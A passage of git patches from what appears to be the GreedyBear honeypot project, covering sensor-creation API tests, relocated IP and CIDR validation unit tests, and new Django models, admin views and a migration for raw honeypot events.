VALID_PAYLOAD, + format="json", + ) + + self.assertEqual( + AutonomousSystem.objects.filter(asn=64512).count(), + 1, + ) + + def test_null_asn_is_accepted(self): + payload = { + **VALID_PAYLOAD, + "asn": None, + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_201_CREATED) + + sensor = Sensor.objects.get(address="1.2.3.4") + self.assertIsNone(sensor.autonomous_system) + + def test_response_returns_id_value(self): + response = self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertIsInstance(response.data["id"], int) + + def test_blank_asn_returns_400(self): + payload = { + **VALID_PAYLOAD, + "asn": "", + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + +class SensorValidationTests(BaseSensorTestCase): + def test_missing_address_returns_400(self): + payload = {k: v for k, v in VALID_PAYLOAD.items() if k != "address"} + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + def test_invalid_ip_returns_400(self): + payload = { + **VALID_PAYLOAD, + "address": "not-an-ip", + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + def test_invalid_country_code_returns_400(self): + payload = { + **VALID_PAYLOAD, + "country_code": "NPL", + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + def test_sensor_label_too_long_returns_400(self): + payload = { + **VALID_PAYLOAD, + "sensor_label": "x" * 129, + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) + + def test_ipv6_address_accepted(self): + payload = { + **VALID_PAYLOAD, + "address": "2001:db8::1", + } + + response = self.client.post( + SENSOR_CREATE_URL, + payload, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_201_CREATED) + + def test_duplicate_address_does_not_create_new_sensor(self): + self.client.post(SENSOR_CREATE_URL, VALID_PAYLOAD, format="json") + + self.client.post(SENSOR_CREATE_URL, VALID_PAYLOAD, format="json") + + self.assertEqual(Sensor.objects.filter(address="1.2.3.4").count(), 1) + + def test_invalid_address_does_not_create_sensor(self): + self.client.post( + SENSOR_CREATE_URL, + { + **VALID_PAYLOAD, + "address": "invalid-ip", + }, + format="json", + ) + + self.assertEqual(Sensor.objects.count(), 0) + + def test_inactive_apisource_cannot_create_sensor(self): + self.api_source.is_active = False + self.api_source.save() + + response = self.client.post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) + + +class SensorMultiUserTests(CustomTestCase): + def setUp(self): + self.user_a = make_user(username="user-a") + self.user_b = make_user(username="user-b") + + self.api_source_a = make_apisource(self.user_a, "SourceA") + self.api_source_b = make_apisource(self.user_b, "SourceB") + + def test_sensor_attached_to_correct_users_apisource(self): + auth_client(self.user_a).post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + sensor = Sensor.objects.get(address="1.2.3.4") + + self.assertEqual(sensor.api_source, self.api_source_a) + + def test_multiple_users_can_create_different_sensors(self): + auth_client(self.user_a).post( + SENSOR_CREATE_URL, + { + **VALID_PAYLOAD, + "address": "10.0.0.1", + }, + format="json", + ) + + auth_client(self.user_b).post( + SENSOR_CREATE_URL, + { + **VALID_PAYLOAD, + "address": "10.0.0.2", + }, + format="json", + ) + + self.assertEqual(Sensor.objects.count(), 2) + + def test_different_users_can_create_same_address(self): + response_a = auth_client(self.user_a).post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + response_b = auth_client(self.user_b).post( + SENSOR_CREATE_URL, + VALID_PAYLOAD, + format="json", + ) + + self.assertEqual(response_a.status_code, status.HTTP_201_CREATED) + self.assertEqual(response_b.status_code, status.HTTP_201_CREATED) + + self.assertEqual( + Sensor.objects.filter(address="1.2.3.4").count(), + 2, + ) + + sensor_a = Sensor.objects.get( + address="1.2.3.4", + api_source=self.api_source_a, + ) + + sensor_b = Sensor.objects.get( + address="1.2.3.4", + api_source=self.api_source_b, + ) + + self.assertNotEqual(sensor_a.id, sensor_b.id) From 6a607e23720479ef6227f1fdd6d44482892a7e99 Mon Sep 17 00:00:00 2001 From: suvani-ctrl Date: Mon, 1 Jun 2026 10:57:18 +0545 Subject: [PATCH 017/131] =?UTF-8?q?Move=20unit=20tests=20for=20is=5Fvalid?= =?UTF-8?q?=5Fcidr,=20is=5Fvalid=5Fipv4,=20and=20get=5Fioc=5Ftype=20to?= =?UTF-8?q?=E2=80=A6=20(#1380)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Move unit tests for is_valid_cidr, is_valid_ipv4, and get_ioc_type to test_utils.py * Move unit tests for is_valid_cidr, is_valid_ipv4, and get_ioc_type to test_utils.py --- tests/test_extraction_utils.py | 271 +------------------------------ tests/test_utils.py | 281 ++++++++++++++++++++++++++++++++- 2 files changed, 281 insertions(+), 271 deletions(-) diff --git a/tests/test_extraction_utils.py b/tests/test_extraction_utils.py index 2e1fa1c6d..c5a25aad1 100644 --- a/tests/test_extraction_utils.py +++ b/tests/test_extraction_utils.py @@ -1,7 +1,7 @@ from datetime import datetime from unittest.mock import Mock, patch -from greedybear.consts import DOMAIN, IP +from greedybear.consts import IP from greedybear.cronjobs.extraction.utils import ( correct_ip_reputation, iocs_from_hits, @@ -10,279 +10,10 @@ ) from greedybear.enums import IpReputation from greedybear.models import FireHolList, MassScanner -from greedybear.utils import get_ioc_type, is_valid_cidr, is_valid_ipv4 from . import CustomTestCase, ExtractionTestCase -class TestGetIocType(CustomTestCase): - def test_ipv4_returns_ip(self): - self.assertEqual(get_ioc_type("1.2.3.4"), IP) - - def test_ipv4_edge_cases(self): - self.assertEqual(get_ioc_type("0.0.0.0"), IP) - self.assertEqual(get_ioc_type("255.255.255.255"), IP) - self.assertEqual(get_ioc_type("192.168.1.1"), IP) - - def test_domain_returns_domain(self): - self.assertEqual(get_ioc_type("example.com"), DOMAIN) - - def test_subdomain_returns_domain(self): - self.assertEqual(get_ioc_type("sub.example.com"), DOMAIN) - - def test_invalid_ip_returns_domain(self): - self.assertEqual(get_ioc_type("256.1.1.1"), DOMAIN) - self.assertEqual(get_ioc_type("1.2.3"), DOMAIN) - - -class TestIsValidIpv4(CustomTestCase): - def test_valid_ipv4_returns_true_and_cleaned_ip(self): - is_valid, ip = is_valid_ipv4("1.2.3.4") - self.assertTrue(is_valid) - self.assertEqual(ip, "1.2.3.4") - - def test_valid_ipv4_edge_cases(self): - # Test boundary values - is_valid, ip = is_valid_ipv4("0.0.0.0") - self.assertTrue(is_valid) - self.assertEqual(ip, "0.0.0.0") - - is_valid, ip = is_valid_ipv4("255.255.255.255") - self.assertTrue(is_valid) - self.assertEqual(ip, "255.255.255.255") - - is_valid, ip = is_valid_ipv4("192.168.1.1") - self.assertTrue(is_valid) - self.assertEqual(ip, "192.168.1.1") - - def test_ipv4_with_whitespace_strips_and_validates(self): - # Test leading whitespace - is_valid, ip = is_valid_ipv4(" 1.2.3.4") - self.assertTrue(is_valid) - self.assertEqual(ip, "1.2.3.4") - - # Test trailing whitespace - is_valid, ip = is_valid_ipv4("1.2.3.4 ") - self.assertTrue(is_valid) - self.assertEqual(ip, "1.2.3.4") - - # Test both - is_valid, ip = is_valid_ipv4(" 1.2.3.4 ") - self.assertTrue(is_valid) - self.assertEqual(ip, "1.2.3.4") - - def test_invalid_ipv4_out_of_range_octets(self): - # Test octets > 255 - is_valid, ip = is_valid_ipv4("256.1.1.1") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1.256.1.1") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1.1.256.1") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1.1.1.256") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("999.999.999.999") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_incomplete_format(self): - # Too few octets - is_valid, ip = is_valid_ipv4("1.2.3") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1.2") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_too_many_octets(self): - is_valid, ip = is_valid_ipv4("1.2.3.4.5") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_domains(self): - is_valid, ip = is_valid_ipv4("example.com") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("sub.example.com") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_ipv6_addresses(self): - # IPv6 should not be valid for IPv4 validation - is_valid, ip = is_valid_ipv4("2001:0db8:85a3::8a2e:0370:7334") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("::1") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_random_strings(self): - is_valid, ip = is_valid_ipv4("/w00tw00t.at.ISC.SANS.DFind:)") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("not an ip") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_special_characters(self): - is_valid, ip = is_valid_ipv4("1.2.3.4#comment") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1.2.3.4 # comment") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - def test_invalid_ipv4_negative_numbers(self): - is_valid, ip = is_valid_ipv4("-1.2.3.4") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - is_valid, ip = is_valid_ipv4("1.-2.3.4") - self.assertFalse(is_valid) - self.assertIsNone(ip) - - -class TestIsValidCIDR(CustomTestCase): - def test_valid_cidr_returns_true_and_cleaned_cidr(self): - is_valid, cidr = is_valid_cidr("192.168.1.0/24") - self.assertTrue(is_valid) - self.assertEqual(cidr, "192.168.1.0/24") - - def test_valid_cidr_edge_cases(self): - is_valid, cidr = is_valid_cidr("0.0.0.0/0") - self.assertTrue(is_valid) - self.assertEqual(cidr, "0.0.0.0/0") - - is_valid, cidr = is_valid_cidr("255.255.255.255/32") - self.assertTrue(is_valid) - self.assertEqual(cidr, "255.255.255.255/32") - - is_valid, cidr = is_valid_cidr("10.0.0.0/8") - self.assertTrue(is_valid) - self.assertEqual(cidr, "10.0.0.0/8") - - def test_cidr_with_whitespace_strips_and_validates(self): - is_valid, cidr = is_valid_cidr(" 192.168.1.0/24") - self.assertTrue(is_valid) - self.assertEqual(cidr, "192.168.1.0/24") - - is_valid, cidr = is_valid_cidr("192.168.1.0/24 ") - self.assertTrue(is_valid) - self.assertEqual(cidr, "192.168.1.0/24") - - is_valid, cidr = is_valid_cidr(" 192.168.1.0/24 ") - self.assertTrue(is_valid) - self.assertEqual(cidr, "192.168.1.0/24") - - def test_invalid_cidr_out_of_range_octets(self): - invalid = [ - "256.1.1.0/24", - "1.256.1.0/24", - "1.1.256.0/24", - "999.999.999.999/24", - ] - - for value in invalid: - is_valid, cidr = is_valid_cidr(value) - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_incomplete_format(self): - invalid = [ - "192.168.1/24", - "192.168/24", - "192/24", - "/24", - ] - - for value in invalid: - is_valid, cidr = is_valid_cidr(value) - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_too_many_octets(self): - is_valid, cidr = is_valid_cidr("1.2.3.4.5/24") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_domains(self): - is_valid, cidr = is_valid_cidr("example.com/24") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - is_valid, cidr = is_valid_cidr("sub.example.com/16") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_ipv6_addresses(self): - is_valid, cidr = is_valid_cidr("2001:db8::/32") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - is_valid, cidr = is_valid_cidr("::1/128") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_random_strings(self): - is_valid, cidr = is_valid_cidr("/w00tw00t.at.ISC.SANS.DFind:)") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - is_valid, cidr = is_valid_cidr("not a cidr") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - is_valid, cidr = is_valid_cidr("") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_special_characters(self): - is_valid, cidr = is_valid_cidr("192.168.1.0/24#comment") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - is_valid, cidr = is_valid_cidr("192.168.1.0/24 # comment") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - is_valid, cidr = is_valid_cidr("10.0.0.0/8 some text") - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - def test_invalid_cidr_negative_numbers(self): - invalid = [ - "-1.1.1.1/24", - "192.168.1.0/-1", - "192.168.1.0/33", - ] - - for value in invalid: - is_valid, cidr = is_valid_cidr(value) - self.assertFalse(is_valid) - self.assertIsNone(cidr) - - class TestIsWhatsmyipDomain(CustomTestCase): def test_returns_true_for_known_domain(self): result = is_whatsmyip_domain("some.domain.com", {"some.domain.com"}) diff --git a/tests/test_utils.py b/tests/test_utils.py index 10be6b6dc..e35781831 100644 --- a/tests/test_utils.py +++ b/tests/test_utils.py @@ -5,7 +5,286 @@ from django.test import SimpleTestCase -from greedybear.utils import is_ip_address, is_non_global_ip, is_sha256hash, is_valid_domain +from greedybear.consts import DOMAIN, IP +from greedybear.utils import ( + get_ioc_type, + is_ip_address, + is_non_global_ip, + is_sha256hash, + is_valid_cidr, + is_valid_domain, + is_valid_ipv4, +) + +from . import CustomTestCase + + +class TestIsValidCIDR(CustomTestCase): + def test_valid_cidr_returns_true_and_cleaned_cidr(self): + is_valid, cidr = is_valid_cidr("192.168.1.0/24") + self.assertTrue(is_valid) + self.assertEqual(cidr, "192.168.1.0/24") + + def test_valid_cidr_edge_cases(self): + is_valid, cidr = is_valid_cidr("0.0.0.0/0") + self.assertTrue(is_valid) + self.assertEqual(cidr, "0.0.0.0/0") + + is_valid, cidr = is_valid_cidr("255.255.255.255/32") + self.assertTrue(is_valid) + self.assertEqual(cidr, "255.255.255.255/32") + + is_valid, cidr = is_valid_cidr("10.0.0.0/8") + self.assertTrue(is_valid) + self.assertEqual(cidr, "10.0.0.0/8") + + def test_cidr_with_whitespace_strips_and_validates(self): + is_valid, cidr = is_valid_cidr(" 192.168.1.0/24") + self.assertTrue(is_valid) + self.assertEqual(cidr, "192.168.1.0/24") + + is_valid, cidr = is_valid_cidr("192.168.1.0/24 ") + self.assertTrue(is_valid) + self.assertEqual(cidr, "192.168.1.0/24") + + is_valid, cidr = is_valid_cidr(" 192.168.1.0/24 ") + self.assertTrue(is_valid) + self.assertEqual(cidr, "192.168.1.0/24") + + def test_invalid_cidr_out_of_range_octets(self): + invalid = [ + "256.1.1.0/24", + "1.256.1.0/24", + "1.1.256.0/24", + "999.999.999.999/24", + ] + + for value in invalid: + is_valid, cidr = is_valid_cidr(value) + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_incomplete_format(self): + invalid = [ + "192.168.1/24", + "192.168/24", + "192/24", + "/24", + ] + + for value in invalid: + is_valid, cidr = is_valid_cidr(value) + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_too_many_octets(self): + is_valid, cidr = is_valid_cidr("1.2.3.4.5/24") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_domains(self): + is_valid, cidr = is_valid_cidr("example.com/24") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + is_valid, cidr = is_valid_cidr("sub.example.com/16") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_ipv6_addresses(self): + is_valid, cidr = is_valid_cidr("2001:db8::/32") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + is_valid, cidr = is_valid_cidr("::1/128") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_random_strings(self): + is_valid, cidr = is_valid_cidr("/w00tw00t.at.ISC.SANS.DFind:)") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + is_valid, cidr = is_valid_cidr("not a cidr") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + is_valid, cidr = is_valid_cidr("") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_special_characters(self): + is_valid, cidr = is_valid_cidr("192.168.1.0/24#comment") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + is_valid, cidr = is_valid_cidr("192.168.1.0/24 # comment") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + is_valid, cidr = is_valid_cidr("10.0.0.0/8 some text") + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + def test_invalid_cidr_negative_numbers(self): + invalid = [ + "-1.1.1.1/24", + "192.168.1.0/-1", + "192.168.1.0/33", + ] + + for value in invalid: + is_valid, cidr = is_valid_cidr(value) + self.assertFalse(is_valid) + self.assertIsNone(cidr) + + +class TestIsValidIpv4(CustomTestCase): + def test_valid_ipv4_returns_true_and_cleaned_ip(self): + is_valid, ip = is_valid_ipv4("1.2.3.4") + self.assertTrue(is_valid) + self.assertEqual(ip, "1.2.3.4") + + def test_valid_ipv4_edge_cases(self): + # Test boundary values + is_valid, ip = is_valid_ipv4("0.0.0.0") + self.assertTrue(is_valid) + self.assertEqual(ip, "0.0.0.0") + + is_valid, ip = is_valid_ipv4("255.255.255.255") + self.assertTrue(is_valid) + self.assertEqual(ip, "255.255.255.255") + + is_valid, ip = is_valid_ipv4("192.168.1.1") + self.assertTrue(is_valid) + self.assertEqual(ip, "192.168.1.1") + + def test_ipv4_with_whitespace_strips_and_validates(self): + # Test leading whitespace + is_valid, ip = is_valid_ipv4(" 1.2.3.4") + self.assertTrue(is_valid) + self.assertEqual(ip, "1.2.3.4") + + # Test trailing whitespace + is_valid, ip = is_valid_ipv4("1.2.3.4 ") + self.assertTrue(is_valid) + self.assertEqual(ip, "1.2.3.4") + + # Test both + is_valid, ip = is_valid_ipv4(" 1.2.3.4 ") + self.assertTrue(is_valid) + self.assertEqual(ip, "1.2.3.4") + + def test_invalid_ipv4_out_of_range_octets(self): + # Test octets > 255 + is_valid, ip = is_valid_ipv4("256.1.1.1") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1.256.1.1") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1.1.256.1") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1.1.1.256") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("999.999.999.999") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_incomplete_format(self): + # Too few octets + is_valid, ip = is_valid_ipv4("1.2.3") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1.2") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_too_many_octets(self): + is_valid, ip = is_valid_ipv4("1.2.3.4.5") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_domains(self): + is_valid, ip = is_valid_ipv4("example.com") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("sub.example.com") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_ipv6_addresses(self): + # IPv6 should not be valid for IPv4 validation + is_valid, ip = is_valid_ipv4("2001:0db8:85a3::8a2e:0370:7334") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("::1") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_random_strings(self): + is_valid, ip = is_valid_ipv4("/w00tw00t.at.ISC.SANS.DFind:)") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("not an ip") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_special_characters(self): + is_valid, ip = is_valid_ipv4("1.2.3.4#comment") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1.2.3.4 # comment") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + def test_invalid_ipv4_negative_numbers(self): + is_valid, ip = is_valid_ipv4("-1.2.3.4") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + is_valid, ip = is_valid_ipv4("1.-2.3.4") + self.assertFalse(is_valid) + self.assertIsNone(ip) + + +class TestGetIocType(CustomTestCase): + def test_ipv4_returns_ip(self): + self.assertEqual(get_ioc_type("1.2.3.4"), IP) + + def test_ipv4_edge_cases(self): + self.assertEqual(get_ioc_type("0.0.0.0"), IP) + self.assertEqual(get_ioc_type("255.255.255.255"), IP) + self.assertEqual(get_ioc_type("192.168.1.1"), IP) + + def test_domain_returns_domain(self): + self.assertEqual(get_ioc_type("example.com"), DOMAIN) + + def test_subdomain_returns_domain(self): + self.assertEqual(get_ioc_type("sub.example.com"), DOMAIN) + + def test_invalid_ip_returns_domain(self): + self.assertEqual(get_ioc_type("256.1.1.1"), DOMAIN) + self.assertEqual(get_ioc_type("1.2.3"), DOMAIN) class UtilsTestCase(SimpleTestCase): From 19bdd466dcaa76e58a07d97bed979b8f3f7147d3 Mon Sep 17 00:00:00 2001 From: Drona Raj Gyawali Date: Tue, 2 Jun 2026 12:43:45 +0545 Subject: [PATCH 018/131] feat: add EventStatus and RawEvent models with admin integration. Closes #1360 (#1382) * added model for event:) Signed-off-by: Drona Raj Gyawali * resolve db desgin issue Signed-off-by: Drona Raj Gyawali --------- Signed-off-by: Drona Raj Gyawali --- greedybear/admin.py | 96 ++++++++++++++++++ .../0058_eventstatus_rawevent_and_more.py | 79 +++++++++++++++ greedybear/models.py | 99 +++++++++++++++++++ 3 files changed, 274 insertions(+) create mode 100644 greedybear/migrations/0058_eventstatus_rawevent_and_more.py diff --git a/greedybear/admin.py b/greedybear/admin.py index 4f4bee588..1178aedc3 100644 --- a/greedybear/admin.py +++ b/greedybear/admin.py @@ -13,9 +13,11 @@ CommandSequence, CowrieSession, Credential, + EventStatus, FireHolList, Honeypot, MassScanner, + RawEvent, Sensor, Statistics, Tag, @@ -265,3 +267,97 @@ class APISourceModelAdmin(admin.ModelAdmin): search_fields = ["name", "user__username"] search_help_text = "search by source name or username" readonly_fields = ["created_at", "last_activity", "invalid_event_count"] + + +@admin.register(EventStatus) +class EventStatusAdmin(admin.ModelAdmin): + list_display = [ + "id", + "api_source", + "status", + "ioc_count", + "last_error", + "created_at", + "processed_at", + ] + list_filter = ["status"] + search_fields = ["task_id", "api_source__name"] + search_help_text = "search by task_id or api_source name" + readonly_fields = [ + "task_id", + "api_source", + "status", + "ioc_count", + "last_error", + "created_at", + "processed_at", + ] + + def has_add_permission(self, request): + return False + + def has_change_permission(self, request, obj=None): + return False + + +@admin.register(RawEvent) +class RawEventAdmin(admin.ModelAdmin): + list_display = [ + "id", + "src_ip", + "event_type", + "timestamp", + "sensor", + "get_api_source", + "dest_port", + "protocol", + "service_name", + "processed", + "created_at", + ] + list_filter = ["processed", "event_type", "protocol"] + search_fields = ["src_ip", "session_id", "cve_id", "username", "command"] + search_help_text = "search by src_ip, session_id, CVE, username, or command" + readonly_fields = [ + "src_ip", + "event_type", + "timestamp", + "sensor", + "get_api_source", + "batch", + "session_id", + "token_id", + "src_port", + "dest_port", + "protocol", + "service_name", + "username", + "password", + "related_url", + "payload_hash", + "command", + "cve_id", + "data", + "created_at", + "processed", + ] + + @admin.display(description="API Source") + def get_api_source(self, obj): + return obj.sensor.api_source if obj.sensor else None + + def has_add_permission(self, request): + return False + + def has_change_permission(self, request, obj=None): + return False + + def get_queryset(self, request): + return ( + super() + .get_queryset(request) + .select_related( + "sensor", + "sensor__api_source", + ) + ) diff --git a/greedybear/migrations/0058_eventstatus_rawevent_and_more.py b/greedybear/migrations/0058_eventstatus_rawevent_and_more.py new file mode 100644 index 000000000..5b2c11437 --- /dev/null +++ b/greedybear/migrations/0058_eventstatus_rawevent_and_more.py @@ -0,0 +1,79 @@ +# Generated by Django 5.2.13 on 2026-06-01 15:44 + +import django.db.models.deletion +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('greedybear', '0057_rename_greedybear_ioc_last_seen_idx_greedybear__last_se_567d25_idx_and_more'), + ] + + operations = [ + migrations.CreateModel( + name='EventStatus', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('task_id', models.CharField(max_length=255, unique=True)), + ('status', models.CharField(choices=[('pending', 'Pending'), ('processing', 'Processing'), ('completed', 'Completed'), ('failed', 'Failed')], default='pending', max_length=20)), + ('ioc_count', models.PositiveIntegerField(default=0)), + ('last_error', models.TextField(blank=True, default='')), + ('created_at', models.DateTimeField(auto_now_add=True)), + ('processed_at', models.DateTimeField(blank=True, null=True)), + ('api_source', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='event_statuses', to='greedybear.apisource')), + ], + options={ + 'ordering': ['-created_at'], + }, + ), + migrations.CreateModel( + name='RawEvent', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('src_ip', models.GenericIPAddressField()), + ('event_type', models.CharField(max_length=100)), + ('timestamp', models.DateTimeField()), + ('session_id', models.CharField(blank=True, default='', max_length=100)), + ('token_id', models.CharField(blank=True, default='', max_length=100)), + ('src_port', models.IntegerField(blank=True, null=True)), + ('dest_port', models.IntegerField(blank=True, null=True)), + ('protocol', models.CharField(blank=True, default='', max_length=50)), + ('service_name', models.CharField(blank=True, default='', max_length=100)), + ('username', models.CharField(blank=True, default='', max_length=255)), + ('password', models.CharField(blank=True, default='', max_length=255)), + ('related_url', models.URLField(blank=True, default='', max_length=900)), + ('payload_hash', models.CharField(blank=True, default='', max_length=64)), + ('command', models.TextField(blank=True, default='')), + ('cve_id', models.CharField(blank=True, default='', max_length=50)), + ('data', models.JSONField(blank=True, default=dict)), + ('created_at', models.DateTimeField(auto_now_add=True)), + ('processed', models.BooleanField(default=False)), + ('batch', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='raw_events', to='greedybear.eventstatus')), + ('sensor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='raw_events', to='greedybear.sensor')), + ], + options={ + 'ordering': ['-created_at'], + }, + ), + migrations.AddIndex( + model_name='eventstatus', + index=models.Index(fields=['status'], name='greedybear__status_672acb_idx'), + ), + migrations.AddIndex( + model_name='eventstatus', + index=models.Index(fields=['api_source', 'status'], name='greedybear__api_sou_daf980_idx'), + ), + migrations.AddIndex( + model_name='rawevent', + index=models.Index(fields=['src_ip'], name='greedybear__src_ip_bae8bb_idx'), + ), + migrations.AddIndex( + model_name='rawevent', + index=models.Index(fields=['timestamp'], name='greedybear__timesta_b80eba_idx'), + ), + migrations.AddIndex( + model_name='rawevent', + index=models.Index(fields=['processed'], name='greedybear__process_381f44_idx'), + ), + ] diff --git a/greedybear/models.py b/greedybear/models.py index 515a8da7e..69a235e15 100644 --- a/greedybear/models.py +++ b/greedybear/models.py @@ -25,6 +25,13 @@ class SourceType(models.TextChoices): EXTERNAL = "external", "External API" +class EventStatusType(models.TextChoices): + PENDING = "pending", "Pending" + PROCESSING = "processing", "Processing" + COMPLETED = "completed", "Completed" + FAILED = "failed", "Failed" + + class APISource(models.Model): user = models.OneToOneField(AUTH_USER_MODEL, on_delete=models.CASCADE, related_name="api_source") name = models.CharField(max_length=128, unique=True) @@ -382,3 +389,95 @@ class Meta: def __str__(self): return f"{self.attacker_ip} [{self.feed_type}] @ {self.bucket_start} ({self.interaction_count})" + + +class EventStatus(models.Model): + """Tracks the processing status of a single batch of incoming events.""" + + api_source = models.ForeignKey( + "APISource", + on_delete=models.SET_NULL, + null=True, + blank=True, + related_name="event_statuses", + ) + task_id = models.CharField(max_length=255, unique=True) + status = models.CharField( + max_length=20, + choices=EventStatusType.choices, + default=EventStatusType.PENDING, + ) + ioc_count = models.PositiveIntegerField(default=0) + last_error = models.TextField(blank=True, default="") + created_at = models.DateTimeField(auto_now_add=True) + processed_at = models.DateTimeField(null=True, blank=True) + + class Meta: + ordering = ["-created_at"] + indexes = [ + models.Index(fields=["status"]), + models.Index(fields=["api_source", "status"]), + ] + + def __str__(self): + return f"Batch {self.id} — {self.status} (task: {self.task_id})" + + +class RawEvent(models.Model): + """ + Raw storage for all incoming events from external sensors. + + All fields from the Event Collector API spec are persisted here immediately + on ingestion. An async Django-Q task does post-processing later and maps + fields to the existing models (IOC, Credential, CommandSequence, etc.). + """ + + sensor = models.ForeignKey( + "Sensor", + 